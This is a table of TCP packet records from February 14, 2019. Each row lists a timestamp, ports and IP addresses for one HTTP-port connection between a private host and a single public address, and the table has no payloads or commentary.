Feb 14, 2019 12:59:47.296744108 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.296801090 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.296996117 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.296998024 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.296998978 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.297000885 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.297305107 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.297317028 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.297347069 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.297533989 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.297535896 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.297538042 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.297538996 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.297542095 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.298134089 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.298135996 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.298136950 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.298139095 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.298471928 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.298482895 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.298489094 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.298496008 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.298502922 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.298508883 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.298700094 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.298702002 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.298702955 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.298705101 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.298959017 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.298968077 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.299027920 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.299221992 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.299222946 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.299225092 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.299226046 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.299227953 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.300129890 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.300142050 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.300203085 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.300365925 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.300368071 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.300369978 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.300370932 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.300628901 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.300638914 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.300704002 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.300987959 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.300990105 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.300992012 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.300993919 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.300995111 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.300997019 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.300997972 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.301000118 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.301001072 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.301002979 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.301830053 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.301841974 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.301848888 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.301855087 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.301882982 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.302061081 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.302062988 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.302063942 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.302066088 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.302331924 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.302341938 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.302405119 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.303055048 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.303227901 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.303229094 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.303231001 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.303231955 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.303232908 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.303235054 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.303236008 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.304028034 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.304044962 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.304085970 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.304095030 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.304101944 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.304109097 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.304116964 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.304177046 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.306273937 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.306291103 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.306298018 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.306303978 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.306358099 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.398516893 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.398552895 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.400762081 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.400846004 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.447247982 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.447340012 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.447463036 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.447532892 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.447643995 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.448518038 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.448810101 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.448951006 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.449132919 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.449165106 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.449251890 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.449384928 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.449522972 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.449554920 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.449582100 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.449661016 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.449728012 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.449742079 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.449882984 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.449978113 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.450074911 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.450227022 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.450333118 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.450624943 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.450804949 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.450810909 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.450813055 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.450814009 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.450881004 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.450979948 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.451447010 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.451450109 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.451452017 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.451455116 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.451570034 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.451761007 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.451772928 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.451778889 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.451786041 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.451792002 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.451860905 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.451976061 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.451977968 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.451981068 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.452301025 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.452491999 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.452493906 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.452496052 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.452583075 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.452589989 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.452590942 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.452593088 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.453200102 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.453203917 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.453205109 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.453207016 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.453208923 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.453397989 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.453413010 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.453419924 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.453493118 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.453756094 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.453759909 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.453761101 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.453763008 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.453826904 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.453949928 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.453986883 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.453999996 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.454006910 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.454076052 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.454600096 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.454608917 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.454616070 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.454690933 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.454783916 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.454787016 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.454788923 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.455117941 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.455207109 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.455327034 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.455328941 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.455336094 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.455455065 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.455456972 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.455457926 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.455460072 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.455461025 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.455462933 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.455995083 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.455997944 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.456305027 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.456311941 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.456317902 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.456324100 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.456329107 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.456371069 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.456552982 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.456554890 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.456557035 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.456896067 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.456918955 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.457072973 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.457073927 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.457076073 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.457350969 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.457438946 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.457729101 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.457731009 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.457732916 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.457734108 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.457735062 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.457736969 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.458268881 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.458271980 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.458273888 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.458276033 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.458277941 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.458579063 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.458591938 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.458599091 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.458605051 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.458611965 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.458638906 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.458825111 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.458827019 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.458831072 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.459106922 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.459160089 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.459897041 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.459898949 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.459901094 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.459902048 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.459903002 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.459906101 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.460468054 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.460469961 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.460472107 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.460473061 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.460474968 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.460475922 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.460479021 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.460541010 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.460833073 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.460844994 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.460871935 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.460877895 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.461401939 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.461412907 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.461420059 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.461426020 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.461431026 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.461636066 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.461637974 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.461638927 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.461641073 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.461642027 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.461720943 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.462529898 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.462541103 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.462548971 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.462593079 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.462790012 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.462791920 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.462793112 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.463644981 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.463654041 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.463660002 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.463666916 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.463673115 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.464782000 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.464792013 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.464797974 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.464831114 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.465218067 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.465306997 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.553162098 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.553203106 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.555088043 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.555171967 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.601846933 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.601877928 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.601958036 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.602029085 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.602142096 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.602325916 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.602413893 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.602698088 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.602740049 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.602771044 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.602819920 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.602935076 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.603059053 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.603179932 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.603368044 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.603477955 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.603543043 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.603780031 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.603825092 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.603840113 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.603889942 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.603903055 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.604034901 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.604038000 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.604084969 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.604371071 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.604424953 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.604531050 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.604660034 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.604660988 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.604662895 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.604711056 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.604820967 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.604902983 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.605216026 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.605218887 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.605233908 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.605361938 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.605477095 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.605509043 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.605516911 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.605524063 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.605559111 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.605715036 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.605716944 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.605808020 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.606136084 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.606148005 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.606154919 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.606161118 MEZ	49293	80	192.168.0.50	52.89.234.147
Feb 14, 2019 12:59:47.606318951 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.606842995 MEZ	80	49293	52.89.234.147	192.168.0.50
Feb 14, 2019 12:59:47.606846094 MEZ	80	49293	52.89.234.147	192.168.0.50
